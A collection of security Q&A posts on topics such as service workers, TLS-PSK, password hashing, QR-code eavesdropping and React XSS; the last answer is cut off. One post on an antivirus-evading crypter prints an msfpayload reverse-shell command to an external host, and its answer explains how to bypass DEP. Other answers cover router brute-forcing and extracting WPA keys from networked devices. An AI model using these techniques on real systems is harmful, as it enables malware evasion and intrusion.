Privacy & tracking concerns regarding Service Workers TL;DR
Should I be concerned about sites I have visited start a service worker in my browser which happens to be listening for events "forever"?
Can a dormant service worker track me?
Longer question
I was messing/playing around and I looked for a way to debug service worker javascript files in Firefox. Opening about:debugging showed me plenties of service worker instances installed by sites I could have visited even only once by just following a link, even if I am not logged into that site.
Example screenshot

I can see those services are stopped, for the moment, waiting for fetch events.
Question: is it possible that a malicious service worker tracks my online/offline activity without my consent even after denying usage of cookies?
Open question: shouldn't it be advisable, from a privacy standpoint, for the browser developer (e.g. Mozilla, Google) to easily allow the user to opt out for service workers from certain sites?
Threat model: when I speak about tracking, I mainly mean generating a unique ID stored within the worker's storage and using that to provide the service worker's developer with information about visited pages, etc. These information can normally be used to personalize advertising. Part of the threat model I am afraid of is to bypass privacy settings and combine information from multiple service workers/sites to identify the user and/or build a detailed profiling (mainly for marketing).
I know that Service Workers run in sandboxes, so it is my understanding that offline activity shouldn't be actually trackable.
Additional info: I block third party cookies and enable Mozilla anti-tracking mode (it is working now on Security SE for example)

No!
Service Workers also run in origin context, just as normal JavaScript. So, for a Service Worker registered for a domain cannot really interact with Service Worker registered for another domain. Furthermore, they do not have access to the DOM, unlike JavaScript.

And, as long as you visit a site, it doesn’t need SW to track your activities within that site (compared to your Threat Model). So, it really provides no advantages over tracking.

And about open question, it does no harm simply registering a SW as it has tremendous impact over performance and such. They do restrict it to HTTPS to avoid SW registered over MITM attacks, and as already mentioned in the comment, SW are disabled in Incognito mode.


Does clicking lead to DoS attack? I have a website. Suppose someone will code a program that will click continuously on the links of my webpage: could this lead to a DoS attack ?

The question is a bit vague, the short answer is Yes clicking on links could DoS your site.

A for a more in-depth answer you would need to look at what those links are doing. For example if every time you clicked a link it ran some monstrous database query that used all your CPU power or Disk IO, or if the links played a video that would quickly saturate your outbound bandwidth it wouldn't take a lot of clicking to DoS your site.

I've seen this happen with people's personal blog that's hosted at home on an ADSL connection and more than one person viewing a video at a time DoSes their site.

On the other hand if your links were to static HTML or something easily cached it would take a whole lot of clicking to DoS your site.


Do any routers report a brute force attempt? In our work office, we have a router but the password for it has been lost. We don't want to do a factory reset except as a last resort. I could try brute forcing the login, but I'm afraid that some router models will send some emergency signal to its OEM or our ISP in case it detects a brute force attempt. Is this a common thing, or should I not be worried and try it?

(I wish to emphasize that the router is our property so we aren't attempting to do anything illegal, at least to my knowledge.)

Short of locking out the device or incurring some time-based delay, there is no harm in brute forcing the password. You may also want to scan it with a vulnerability scanner to see if there are any disclosed vulnerabilities which you can exploit to gain access to the router.

As long as you own the device and have permission to attack it, feel free to BF till your hearts content.


Website: Pre-Shared-Key Authentication We have this web-application with high valuable (business) data.

All communication is encrypted through TLS/SSL. While I consider this a really safe protocol, it can still be compromised if someone managed to install a malicious CA-Certificate my computer.

Since we have the infrastructure, we would like to strengthen the mutual authentication through a Pre-Shared-Key (via SMS).

(I don't want to invent something, but as I see it the PSK should be used to encrypt the underlying stream. Perhaps the surrounding SSL would then even be overhead, but again, I'm not trying to invent my own protocol)

Does anyone know if browsers have support for pre-shared-key encryption/authentication? Perhaps via a plugin?
I've searched the web, and found nothing about browser support.

Right now, it seems that none of the existing major browsers supports TLS-PSK, and neither to they support TLS-SRP. In your case, both are applicable, but SRP is "stronger" in that it tolerates much better a low-entropy shared secret (say, a password). There has been some initial effort at making Chrome SRP-aware; I don't know how far it went. Since everything PSK offers can be done by SRP and arguably in a better, stronger way, it is plausible that browsers will get SRP support before they get PSK support. But it is not done yet.

In the meantime, you can have some partial workarounds:

Have your users employ Firefox, with a specific profile. A Firefox profile includes, in particular, the set of root CA that the browser will use to validate server certificates; let them use an "empty" profile containing only your own CA.
Make the users connect through a VPN. In particular a SSH tunnel: SSH can be used as a SOCKS proxy, which the browser can be instructed to use for every connection. SSH's public-key model is CA-less; each user decides which key he accepts or not.
Turn the Web application into a genuine, full-fledged application installed on the client system. That application will then do the SSL with your server, and can then choose whatever authentication mechanism it wishes to use.
Don't do anything: it is the problem of the client, not yours.

The last "workaround" deserves some extra thinking. Indeed, the problem with potential rogue CA is that these CA are trusted by the client. In a successful Man-in-the-Middle attack, the attacker poses as a fake server, and the client is talking to the attacker, not to you. Therefore, as first approximation, there is nothing you can do in the server which will change what happens between the client and the attacker. In SSL/TLS, the client announces all the cipher suites it is willing to use, and the server then selects one. Even if your server wants to use SRP or PSK, you can bet that the attacker's server will prefer some other cipher suite.

Therefore, assuming that you find an SRP-aware browser, the security of the connection against MitM attackers (who could bribe a CA) relies not on your use of SRP on your server, but on the human user: that meat-bag must expect SRP (or PSK) and call foul play if he does not get it. MitM will be defeated only insofar as the human user, presented with a green padlock and nice login page with your logo and asking for his SMS-obtained password, will say to himself: "hey, this is a Web page, not a browser popup !" and then refuse to connect. If you can make your users reliably react that way, then you can probably train a cat to do the laundry and vacuum-clean the carpets (and then I am highly interested in your services).

This amounts to the slightly depressing following summary: if your users trust rogue CA, then they are already hosed; and there is nothing your server can do to really protect them. First step is to teach them to un-trust existing CA, which will bring back protection (assuming their machines are not already hijacked), but will also "break the Internet" from their point of view.


Tools and approaches in order to teach software security? I am going to teach software security for a course lab. I would like to know is there any software- simulator and etc for providing an appropriate environment for practising common types of security attacks such as XSS and SQL injection so that I do not need to spend a lot of time to create samples by myself and etc. Also, since overflow attacks are a part of my teaching lab, I am looking something like VM or sandboxes so that does not have memory protection mechanism, so which os is better and how to disable memory protection mechanism on it?! I hope you understand me, I am not asking to do it for me! I just want to hear some tips! I am thinking to create a VM and install necessary tools on it. But as you know I thought it's better to make sure that there isn't any better option before. So, I am enthusiastically looking to hearing you.

As it happens there are load of resources for this kind of work.  for web application items, I'd recommend the OWASP list which has a large number of options.  Personally I've used Juice shop and the Railsgoat , both of which I thought were very good.

For the other vulnerable systems list, I'd suggest looking at somewhere like Vulnhub which has a fair few things which could be useful.

also you might want to look at metasploitable


on stack execution on windows 7 :: metasploit :: meterpreter :: executable crypter I posted this on stackoverflow, was advised to move it to security section.

I was writing an executable crypter as an exercise with goal of Antivirus evasion, now the problem is the final executable isn't working on Windows 7. It's working flawlessly on Windows XP.

For the purposes of the test, I took metasploit's meterpreter payload, exported its shellcode, and compiled it into my executable crypter. (I won't mention the details of executable encrypter.)

These were my steps:

I got the shellcode exported into a C file

msfpayload windows/shell/reverse_tcp_dns LHOST=somewhere.com LPORT=1234 C > shell_code.c
I only took shellcode of the malware vector not the DLL which is right at top of the file, it looks like follows

unsigned char buf[] = "\xfc\x..........................";
I took this (a encrypter version)

Basically after decoding/decrypting, the shellcode is executed by casting it to a function like

(*(int(*)()) buf)();

Everything works as expected under windows XP, but fails on Windows 7.

I am clueless about the reasons, and any help will be appreciated.

NOTE: I don't have windows 7, I tested it under virtualized Windows XP (SP2)...

EDIT: if it helps, the metasploit runs on linux, the executable were compiled using express edition VS C++ 2008, the final executable runs fine on all Windows XP machines.

EDIT (1 Aug 2012) : Following @Rook advice, i tried to VirtualAlloc with PAGE_EXECUTE_READWRITE permission then Used WriteProcessMemory, still the final PE works only on windows XP (sp2) not on windows 7.

EDIT : PE seems to work right with Windows 7 (Build 7601, Service Pack 1), under WOW64

Judging by this behavior I would say you are running XP prior to SP2 (you should have mentioned that....).   That means that the region of memory that contains your shellcode is marked with the non-executable flag.   There are a few ways to get around DEP and the NX flag.  One method is by evoking your executable with /NXCOMPAT:NO  or by using VirutalAlllocEx to allocate a region of memory that is both executable and contains your shellcode.


Recommended Crypto Security Setup (Implemented Algorithms)? Firstly I'm not a crypto expert, however I know how to use algorithms that other people have defined before in practical usages, that is, as long as they live up to their promises.

The thing is that I need certain utilities:

Generate Public/Private Key pair of x length, get them as binary; and be able to process content with it.
Some hashing algorithm that consumes a lot of memory and takes its time; I don't need speed, I need safety. (I'm pretty sure they'll use dumb passwords)
An symmetric encryption algorithm that generates ciphertext based on a password (hash) that must be quite strong as well.

My current answers have been:

OpenSSL RSA algorithms.
Scrypt (thinking about changing to argon2 due to great documentation and wrappers)
OpenSSL AES CBC

But then you go here and there on the internet and they say that, scrypt is broken, use bcrypt, no argon2 https://github.com/P-H-C/phc-winner-argon2 is the new thing, OpenSSL has security bugs, better use LibreSSL, no use libsodium. etc... etc...

So what'd the best options be?... I need to secure highly sensitive data.

Also I'll probably be using Node.js wrappers because I need results fast, as I need to make a demonstration.

One of the biggest issues that you face is not the algorithms you choose, but how you implement using them.   There are many good algorithms for various purposes, and virtually any of them, improperly applied, can result in a disastrously broken cryptosystem.

This is one of the reasons people offer advice like "use libsodium" because libraries like libsodium abstract most of the decisions that you might get wrong.

However, to answer the question that you asked specifically, regarding algorithms:

Asymmetric encryption:  User RSA-OAEP.
Password hashing algorithm or KBKDF for symmetric encryption:  Use bcrypt.
Symmetric encryption:  An AEAD cipher.  I know OpenSSL has AES-GCM.  You might also find ChaCha20-Poly1305.  Or you could use libsodium.

One specific point to reiterate about item 3...Don't use the password directly as the key.  Use bcrypt (or another suitable KBKDF) to generate a proper key, in a properly slow manner.  You may already know this, but it's worth pointing out for future readers.

Another critical point - Even with all of the best algorithms, and the proper implementation, key management is a crucial component of the system.  If you don't think hard enough about secure key storage and management, everything else could be for naught.


Making it harder to scan on-screen QR-code from a distance Say I have a QR-code on my laptop screen that I need to scan with my mobile device.

Is there anything that can be done to make the on-screen code harder to scan from a distance? I am thinking for colors, contrast, movement, etc. At what point would the legit device have trouble scanning a, for example, moving QR code? Possibly ways of disguising the code in a photo or a noisy background?

I would expect it would be harder to scan a rapidly clockwise movement from a distance than when you can fill the camera’s seeker with the code + wiggle-room.

Any thoughts or other ideas? Throwing a blanket over my head and laptop while scanning the code would be more secure, but less practical than a software based solution.

A decent camera like that one, with some adequate zooming length, will get from 20 meters away a snapshot of your screen with a lot more detail and precision than your own smartphone's camera. By "obscuring" the QR code, you will make the scanning harder and then impossible sooner for your smartphone than for the attacker. Thus, this "obscuring" thing won't work against a decent attacker (it will work only against cheap attackers who also have only smartphones).

Longer range eavesdropping can be done with bigger but still off-the-shelf hardware, such as this one. Its aperture should allow for picture precision down to 1 mm (i.e. sufficiently low to scan the QR code, even "noised out") from 500 meters away.

Also, remember that QR codes are optimized for easy reconstruction in a fraction of a second by a smartphone. The encoding is ripe with error-correcting codes so that scanning works even in noisy environments. This helps both your phone and the attacker. But the attacker can spend more time cleaning up the picture with Photoshop, allowing him to obtain the data from a picture which would be too blurred for a generic smartphone to handle.

A better way would be to block the view of the screen from the attacker. The "blanket" method would work. If you want to improve things, I suggest that you modify the QR-displaying system so that it shows a blank square most of the time, displaying the actual QR code only when you strike a specific key on your laptop keyboard, and for only three seconds. That way, you can keep the critical phase (during which the QR code is actually visible) short.

Not performing sensitive operations in locations where there are roaming shoulder surfers might be a good idea after all.


Nessus doesn't find self-written plugins I'm trying to write a nessus plugin. So I took an existing plugin (10056), and only added the line
display("hello world");
in the appropriate section and altered the script_id to a non-existing one.
I chose that plugin because that is one that gets found on a test machine. This modified plugin is saved in the typical folder /opt/nessus/lib/nessus/plugins with all the other plugins as pesa.nasl.

A test-run with nasl -t  pesa.nasl prints the expected "hello world".

But when I run nessus again, after re-starting the daemon, the plugin doesn't get detected. Not when I look into the findings list, and also it's nowhere in the policies part that shows the plugins.

Any ideas what I need to do additionally, that nessus reads my self-written plugins?

It seems that nessus-update-plugins doesn't only fetch the newest updates from the nessus servers, but also tells the daemon about the new files that are placed in the plugin folder.
So /opt/nessus/sbin/nessus-update-plugins does the job.


Difference between AppSec Pipeline vs DevSecOps There is thing about implementing security in the early phases. Owasp mention implementing through AppSec Pipeline. DevOps folks talk about DevSecOps. Looking at the diagrams and phases of implementation. Seems like they are both the same? Yet somewhat distinct from each other.

So what's what?

DevOpsSec CI/CD pipelines generally refer to AWS environments with Auto Scaling and Lambda features, as well as provisioning through Terraform or CloudFormation. DevOps in 2017 should likely include agentless functionality, such as ServerSpec (and/or Test Kitchen). The DevOpsSec book from O'Reilly publishing does make mention to many of these paradigms. The book is actually accurately named DevOpsSec, not DevSecOps.

OWASP AppSec pipelines are different. They are not strictly CI/CD pipelines, but moreso a way of automating hybrid vulnerability (and therefore also software weakness) analysis. The platform Cigital ESP was a classic example of this, but many are looking to secure-appdev platforms such as CodeDx, ThreadFix, SD Elements, or Signal Sciences for a 2017-equivalent. In some cases, an AppSec pipeline could consist of a CI/CD pipeline (i.e., Jenkins) and plug in the functionality of other open-source projects such as find-sec-bugs and OWASP ZAP.

A true DevOps pipeline is a CI/CD pipeline with automated testing and deployment. This would require, for example, integration of ServerSpec, Packer (to launch AMIs), and Jenkins Jobs -- but with the additional ability to perform AB testing while utilizing an ELB for blue/green deployments. AppSec pipelines are never this compex, and I would argue that AppSec is more-difficult to integrate into these environments, especially if the AppSec teams are not communicating effectively with the DevOps teams. The first step in communication is to get the ability to perform automated OS (and package, e.g., rpm/yum, dpkg/apt) updates through Auto Scaling functionality. The surprise is that it's the same CI/CD and deployment techniques that can empower these.

The final piece to seeing full integration of an AppSec pipeline with a DevOps pipeline would be to utilize Start-Stop Lambda Cloudwatch for the automated hybrid vulnerability analysis.


How to avoid storing plaintext during CHAP authentication When using CHAP authentication, passwords are stored in plaintext, then I used reversible encryption to store password.

However, I recently found Citrix states " storing passwords using reversible encryption is essentially the same as storing plaintext versions of the passwords." (http://support.citrix.com/static/oldkc/CTX114488.html)

So what is security best practices for storing plaintext during CHAP authentication ?

The CHAP authentication schemes requires both client and server to share a common plain text secret. However, the secret never enters the network.

So it is the responsibility of the client and server to ensure the confidentiality of the password.

The article you link is saying that password should not be stored encrypted as it does not add any additional layer of security, unless you have some specific needs for it to be encrypted (company policy, regulation, ...). The fact that CHAP cannot use a password which have been encrypted makes the encryption void anyway.


using two passwords for normal and security critical functions a user (can be admin) for example in a website has:

a password that is used for normal and everyday access (not security critical actions).
another password that is used for performing security critical actions.

does this two password design have any advantages so that it is worth implementing?

can it be considered a standard design?

do u know of any better/standard alternative to this design?

Not really, if you want to implement a function where the administrative functions require stronger authentication you should opt for two factor authentication rather than two passwords. The reason for this is that if an attacker can get your password somehow, chances are they can also retrieve the second one.


Is it possible to obtain the WPA key of a wireless network while connected to it with an Ethernet cable? I know that there are ways to view saved WPA keys, but I am trying to figure out how to get the WPA key of an access point while connected to the same domain over Ethernet.

Also, what if the router settings page is password protected? Assume admin privileges on the local machine have already been gained.

If the key is not already saved on the computer you have access to (which you exclude) and you don't have a way to sniff WiFi traffic (which you don't explicitly exclude but probably meant to) then your only choice is to extract the key from any device which knows the key and which are reachable from your system. Such devices include the router but often include other PC's, printers, phones, devices to stream music and other IoT gadgets. Protection of these devices is often weaker then you might expect, i.e. no password or standard passwords. And there are lots of backdoors, backdoors and more backdoors.


Are emails from ProtonMail to Tutanota end-to-end encrypted? So I know that sending emails from a ProtonMail Email to a ProtonMail email is end-to-end encrypted. And I know that sending emails from a Tutanota Email to a Tutanota email is end-to-end encrypted. I also know that both services can send to other providers such as Gmail but then Google can read the message through the person it was sent to. But if I have a ProtonMail email, and my recipient has a Tutanota email, how much data is exposed compared to sending an email from a ProtonMail email to a Gmail?

No. They are not.

Citing the official FAQ from ProtonMail:

  Emails sent between ProtonMail users

  Always end-to-end encrypted.

  Emails from ProtonMail users to non-ProtonMail users

  End-to-end encrypted if the “Encrypt for Outside” option is selected.
  Otherwise encrypted with TLS if the non-ProtonMail mail server supports it (most providers such as Gmail, Yahoo, Hotmail, etc,
  support TLS).
  Note, since these messages are encrypted, but not
  end-to-end encrypted, this means Gmail, Yahoo, Hotmail, etc, will be
  able to read these messages and hand them over. This is not possible
  if “Encrypt for Outside” is set and ProtonMail end-to-end encryption
  is enabled.


How is "anonymous" getting ahold of all these plain-text passwords In the last several months there have been several publicized data breaches and public website defacements done by several different hacking groups (which the media loves to group under a single domain - "anonymous") most recently some attacks on BART and affiliated organizations following a controversial move by the transit agency.

Its conceivable that some public facing websites (effectively billboards) aren't well secured (like the CIA "hack" a two months ago) allowing someone with some blackhat experience to be able to get in and mess with and deface the website (as well as release some inconsequential details about the FS organization and other stuff). However, every once in a while they release some more private details, like plain-text lists of usernames-passwords from various database servers that were in the attack.

What I'm confused is how they get such a large list of passwords. Are these servers so badly configured that passwords for web-services are stored plain-text? Is "anonymous" brute forcing some hash-list and releasing the low-hanging password fruit (this skews the number of passwords that look simplistic)? Are they setting up base on the hacked servers and logging all the passwords?

It seems a little unnerving to me that web services associated with legitimate organizations would be storing password information in such a way that it is easily retrievable to anyone with some hacking scripts.

Yes, a lot of these sites are so badly configured that they store the passwords in plain-text.

Or, when passwords are stored as encrypted hashes, the hackers are releasing easily decrypted passwords. Actually, only in the case of the NewsCorp hack did Anonymous decrypt the passwords, other than that, they've simply been publishing the password hashes: the mainstream news gets confused, though, and describes this as releasing passwords. In practice, it's pretty trivial to decrypt hashes. For example, people were able to decrypt 40% of the passwords in the Booz-Allen dump.

No, they aren't intercepting passwords. They are largely just dumping everything on the server, defacing the site, then moving on.

I don't know why you are unnerved: most sites that you give your password to on the Internet will store it in plain-text. Only the very security conscious, those who tend to secure themselves from hacking in the first place, will worry about hashing the passwords.


How to build arbitrary code without risking the server? I'm creating a server that is in charge of building code. This server should be able to run arbitrary building scripts without those being able to harm the server. For example by modifying configuration files, tampering binaries or stealing secrets in home.

Do you have any tips for this?

This isn’t a simple answer. There are tools specific to different operating systems like Windows or Linux that perform file integrity monitoring. Be aware that things like system or build tool updates can create a lot of false positives.

There are some things you can do around checking code but that will generally add a lot of management overhead. Are these scripts coming from untrusted sources or do you want to double check that internal developers aren’t doing anything bad?

One of the easiest things to do is network segmentation. Make sure the box is isolated in an environment where it can build properly but connections originating from this box can’t connect to other systems.  This will help even if someone does manage to sneak something malicious in there is isn't a path for it to get out compromise other machines.


How do you verify if an app is using secure comms? Any modern day browser provides feedback to the end user confirming whether or not you are using HTTPS and some basic validation of the cert.

When using a mobile application it seems the end user has no way to verify whether or not their comms are secure. Short of attempting a MiTM using something like ARP cache poisoning is there any way I can verify whether or not a mobile application is using HTTPS?

If the app is using HTTPS and I inject a self signed cert using Fiddler it seems the OS steps in and warns me. At least in this scenario if the app is using HTTPS and someone attempts a MiTM I am warned. However, if the app is using HTTP a MiTM can sit there all day long and as the end user I can only assume it's either secured and the cert is OK or that it's not secured and hope for the best...

Much like app permissions, which can be verified by the user at install time, we could do with a 'secure communications' flag that indicates the OS will not allow unsecured comms to leave the app. Is there such a way to assert this level of security within a mobile app that is not simply an assertion from the developer but something that can be enforced or proven?

You only need to mount a MitM attack if you intend to decrypt the traffic. if the application is using a standard encrypted protocol (SSL/TLS, SSH) then you can simply record the connection (for instance, using tcpdump) and then feed the result to a descent protocol analyser (i.g. Wireshark) and it will tell you if there is a secure handshake and what options where used.


Can we simply re-salt password on suspected session hijack? Looking at people complaining about Yahoo forcing users to change their passwords.  We can see that people do not particularly like to change passwords (and whether we change them regularly is an increase in security is debatable).  These two cases (yahoo breaches and periodic password changes) deal with the fact that password hashes have been (or might be) stolen.

Yet, that is not the only case in which it is advisable to change a password.  The other case is session hijacking.

Assuming a networked and multi-session (say, from different divices at the same time) application, when a user suspects that his session we often advise that he changes his password.  This makes sense to some extent because OWASP argues that all current sessions should be invalidated on password change.  And moreover, since session tokes are often derivated from the password hash.

Instead of advising this user to change his password, can't we simply re-use the same password and simply re-salt it?

Looking at the old Would re-salting passwords regularly in-/decrease security?  I'm thinking whether there are disadvantages in allowing a user to keep their passowrds.  To perform the re-salting we need the user to give us the password, so a hijacker would be unable to do it.

So yeah, it is a usability advantage to a user that he can keep using the same password but:

Performing the re-salting, would this be more vulnerable (that a simple password change) to an attacker knowing part of the hash (e.g. from the session token)?  (I believe that not)
Avoiding any information from the password hash leaking into the session token would mitigate it?
Providing a list of open sessions to the user instead and allowing him to disable them would be better?  (I believe that not since the attacker could do it too)

No, it would not work. You hopefully don't have the password on your database, so you cannot just change the hash without locking out the user. To change the hash, you have to wait the user to authenticate, so you have the password. With the password you create another salt, hash both, save the hash and throw the password away. But that is not what you will want to do.

The sessions may not be tied to the password, but saved on a table somewhere, so it's best to just get rid of all session tokens AND force the user to change the password, by invalidating the current one and send an out of band message (email, sms) with a new one or a link to a change your password page.


Password based Asymmetric Key generation I am looking for a password based key derivation scheme that results in an asymmetric key pair. I have worked with PBKDF and its variants but could not come up with any way of generating a key pair. I have studied stuff online but the restrictions on the password do not suit me like password must be from a cyclic group etc. Any directions will be much appreciated!

Any asymmetric key pair generation can be described as a deterministic algorithm that feeds on a random source. Thus, generically speaking, you can turn a password into a public/private key pair by doing the following:

Process the password into a "seed" of sufficient length (say, at least 128 bits) with a password hashing function.
Feed that seed into a cryptographically secure PRNG to extend that seed into as many pseudorandom bits as necessary.
Run the key pair generation algorithm with the seeded CSPRNG as source of randomness.

This kind of process has several important drawbacks that you should be aware of:

It requires a completely specified and unchanging key pair generation algorithm. For instance, for RSA, the algorithm concept is to produce random numbers until prime integers of the right size are found, but in the password-based setup you would have to be very precise on how exactly you turn the random bits into a candidate integer, and so on.

Using an elliptic-curve based algorithm like ECDSA / ECDH may help, because private key is then just a random integer, with no condition on primality or anything like that. You still have to specify the generation algorithm, but at least it is simple.
If you change your password, you also change your key pair, which might have consequences in whatever system you are envisioning.
Good password hashing requires a salt, which is not a secret value, but should not be fixed either. You would need a storage space for that salt, somewhere.
The resulting public key would, by construction, be usable in an offline dictionary attack. Offline dictionary attacks are not a good thing for passwords. Properly configured password hashing functions can help fend off dictionary attacks, but there are limits to their power. A password-generated public key thus requires a really random password. Unfortunately, really random passwords are hard to memorize (see this question for some discussion -- the "correct horse" method, as presented in the post, yields passwords with 44 bits of entropy, which is good for a password, but not good enough to make offline dictionary attacks really tolerable).


Do I need a hardware firewall even if I have Internet security software? I have Kaspersky Internet Security 2010 installed on my Win7 computer. I assume it gives me enough protection for a software firewall(port security,tracking tcp,udp traffic etc.)  Do I still need a hardware firewall for protection as well?

Assuming that the software firewall on your machine is functioning correctly and that's the only device you need to protect, it could be that a hardware firewall isn't needed.

That said the advantage of having it as a separate device is that if your system is infected with malware or the software firewall malfunctions, it is a good defence-in-depth step option to have a completely separate device providing a layer of protection.


Are social security numbers useless by themselves? 453.7 million social security numbers have been issued to date. There are only 1 billion = 1000 million distinct 9 digit integers. This means that if I were to make up any 9 digits, I would have roughly a 45% chance of guessing someone else's valid social security number.

With that said, is it fair to say that if a criminal has nothing but your social security number (i.e. they don't have your name, they don't know when you were born, they know nothing about you) it is in fact useless as a means to commit identity theft or other fraud?

Please remember that SSN numbers are NOT random. They include data like where it was issued, and what year it was issued. This might not be hard data, but it can be used to infer data about the person it was issued to.

http://www.ssa.gov/history/ssn/geocard.html

http://www.stevemorse.org/ssn/ssn.html

http://en.wikipedia.org/wiki/Social_Security_number#Structure

Pre-2011:

  The number is divided into three parts: the first three digits, known
  as the area number because they were formerly assigned by geographical
  region; the middle two digits, known as the group number; and the
  final four digits, known as the serial number.

While the number in complete isolation is not useful, you can leverage it with other info.

Not to mention that it is used for identification for other means (like employers, health insurance, banks, etc.)


Security risks of leaving open a VPN connection We have older firewalls that don't allow for scheduling up/down times of VPN connections, and we're working with a client that will need to connect to it at different times each day. What are the security risks (if any) of leaving open a VPN connection to a client?

We have the profile completely locked down to accessing only 1 specific server via 1 protocol.

The risk presented in an always-available tunnel is negligible, especially if you have the traffic going over it restricted by firewall policy and monitored for suspicious activity.

The largest risk is a compromised system on their end - which is negated by a good firewall policy and IPS/IDS monitoring. A much more negligible risk would be an imposter tunnel - a rogue system with their IP and pre-shared key or XAUTH credentials. Even then, they're still running into the policy and IPS/IDS.

Defense in depth means this is generally a good risk tradeoff - it should be secure to keep the tunnel available at all times.


Authentication for a batch script It seems amazing that there is no industry accepted best practice for this problem yet (or maybe just one I'm not aware of):

What is the most secure way for a batch script, a program needing to connect to a resource (E.g. database) via a non user driven interaction to authenticate? Technology agnostic answers are best, but if there is a big different based on the OS (Windows, Unix, Mainframe etc), database or program language that is also useful to know.

It would be good if you can state why the solution (or options in preference order) is secure (e.g. it protects against malicious internal users, external attackers, malware in these ways). Also why it has a low operational impact (change, maintenence etc).

E.g. my list:

IMO best preference (most secure) to least:

Certificate based authetication where the cert is stored in a HSM
Certificate based auth where the cert is stored in a software crypto module
Certificate based auth where the cert is the certificate store of the OS -- generally needs root to get access so game is up if this occures
Externalised authentication based on an LDAP
Password based where the password is encrypted and stored in a different server or password vault. Only service account is authourized to connect, decrypt and retrieve the password over secure transport (basically how TDE works with Oracle Wallet)
Password based where the password is encrypted and stored on the server. Service account can decrypt only.
Password based where password is stored on the server but protected by OS perms and is excluded from backup (manual backup in password vault).

Certificate is best by far and the defacto method for anything like Amazon EC2, Github etc.

Please close and redirect if this is answered already. I couldn't find it when I searched.

The answer depends upon the threat model, and what threats you are trying to prevent.

A standard strong method is to use public-key based authentication, such as the following examples:

The client connects by SSH.  The client authenticates using its personal DSA key (not protected by any passphrase).  Or,
The client connects over SSL.  The client authenticates itself using a suitable client certificate.  The client checks the server's certificate to make sure it is talking to the server it expected to talk to.

This approach is pretty good for most settings.  It is secure against network-level attacks.  Of course, the client's private key lives in the clear on the client machine.  (It pretty much has to.)  As a consequence, any attacker who breaks into the client machine can steal the client's private key.

If you need to detect against the threat of a compromise of the client machine, you could store the private key in a HSM or smartcard connected to the client machine and have it authenticate in that way.  This provides modest security benefits: an attacker who compromises the client machine can no longer steal the client's private key, but the attacker can still make arbitrary connections to the server as the client and send arbitrary data, for as long as the attacker maintains its control over the client.  Whether this is a security improvement or not (compared to just storing the private key in the clear on the client) depends heavily upon the application.  Also, whether this is worth the extra cost and hassle of the HSM or smartcard is heavily dependent upon the application as well.

There are other approaches as well with some slight advantages and disadvantages compared to the above, but nothing that is overwhelmingly superior.


Is using a WebServer as a proxy a secure solution There are 2 machines - both running Windows Server.

Machine1 can access the internet. Machine2 cannot access the internet, but can access Machine1.

Machine2 needs to continuously access one external https GET URL on the internet. So the way I was thinking of doing this is by running a lightweight proxy server on Machine1 using this as a proxy for Machine2 to access the external URL.
(I know that a better/more secure solution may be to have let Machine2 access the internet with a firewall blocking everything except the required connection - but unfortunately that is not possible in this case because various reasons)

After searching around, it seems that the general approach is to use a Webserver (Apache/nginx/IIS) running on Machine1 as a forward proxy server - there seem to be very few independent proxy servers available any more - the few independent proxies available don't seem to in active developement or support.

Is this approach secure - i.e. can Webservers be locked down securely enough so that they only serve as proxies and not add anly additional security issues? What kind of problems should I be wary of?

Assuming that you're running a relatively modern version of windows server (2008 or 2012) I think you can do this with inbuilt server functionality.

The netsh interface portproxy command allows you to setup proxying/port forwarding on a windows server.  If possible I'd say go with a solution that uses OS functionality as it reduces the complexity and doesn't give you another piece of software to maintain/patch .

As to the approach of using a webserver as the proxy, that could work ok.  If you go that way it would be a case of locking down the server as much as possible and then making sure it was added to the patching process to make sure it gets updated.


Enable X-XSS-Protection in an ASP.Net MVC Web app Most of the browsers supports the X-XSS-Protection header to prevent XSS atatcks. How we can enable this header in a ASP.Net MVC application?

Do we need to enable it in the application or do we need to do some configuration in the IIS?

If your Web app is an ASP.Net MVC application , it is very easy to enable using the web.config file.
All you need to do is add a Custom Header as in the following config entry.

<httpProtocol>
    <customHeaders>
        <remove name="X-Powered-By" />
        <add name="X-XSS-Protection" value="1; mode=block" />
   </customHeaders>
</httpProtocol>

It is always better if you can cconfigure the IIS Response header section as well.


How to determine if an X.509 certificate is a renewal of another known certificate? In my application, the human user accepts the server's X.509 certificate, verifying the fingerprint during the first-time connection. The fingerprint is stored in the client software. At later connections, only that particular certificate is accepted by the client.

If the server renews own certificate, the fingerprint naturally does not match any more and the user has to verify and accept the new fingerprint again.

I want to relax this restriction and accept this certificate, and also any renewal (maybe even rekey) of it.

The server certificate is issued by a CA, which is trusted by the client software. So my new check at the client side will be like:

Check that the fingerprint matches the recorded one. Accept connection if yes.
Check that the certificate is issued by a trusted CA. Reject connection if not.
Check if this is a renewed previous certificate, accept connection if yes, reject otherwise.

Question: How can the last check be implemented? How can I know that a certificate C2 is in fact a renewal (or rekey) of another certificate C1?

So you need either the CA or the client to tell you that the certificate was renewed.  I can guess there are a few ways to approach this...

Renewal + Same Subject

A client holding the old cert and new cert could use the private key of each certificate, and sign the new cert, thus proving they have knowledge of both keys.

A server that revokes a certificate should mark it in the CRL as superseded.  I am not certain if both the RFCs and the software (Microsoft FIM or AD CS) supports multiple revocation reasons, and how that may confuse your software.

Renewal + Different Subject Name

If a renewed key can change the subject name (e.g. a name change of a user via marriage) or SAN, then you will need a custom field in the certificate to link the previous certificate together.  I hope that this kind of field is standardized in an RFC somewhere....??

If this is supported, then I would question the need for a PKI or CA anyway since a simpler solution might be based solely on thumbprints (SSH)

Theft

This gets a little hairy if the previous key is revoked, where a thief could replace the old certificate with a new one.  In addition to revocation logic, you will need logic to address an outage of a revocation server, and perhaps have a new key window that would handle the situation where a thief steals a key, changes the primary authentication key, and the user needs to communicate with the old "unrenewed" key.

Microsoft has key based renewal, where a thief could renew and lock out the user, so don't be under the assumption that a renewed certificate always has more assurance than the identity you're currently using.


Am I safe from XSS in React as long as I don't use dangerouslySetInnerHTML? Let's say I write a webapp using React only, never touching the DOM directly. I never use dangerouslySetInnerHTML. Do I still have to worry about XSS? Or in other words, are there any other unsafe usages of React?

It would be very nice if the only thing I had to remember to keep myself safe from XSS was to not use a property with the word dangerous in it's name. But is it that simple?

I'm not counting the risk of bugs in the React engine itself here. Neither am I interested in things not directly related to React, such as the common store hydration mistake.

I wouldn't say "Safe". ReactJS is reasonably safe by design as long as you use it the way it’s meant to be used. Among other things, do not use dangerouslySetInnerHTML.

However, there are other ways a dedicated attacker can find a way to bypass the XSS roadblocks on your app. Some of them are listed in this DailyJS article:

  Creating React components from user-supplied objects;
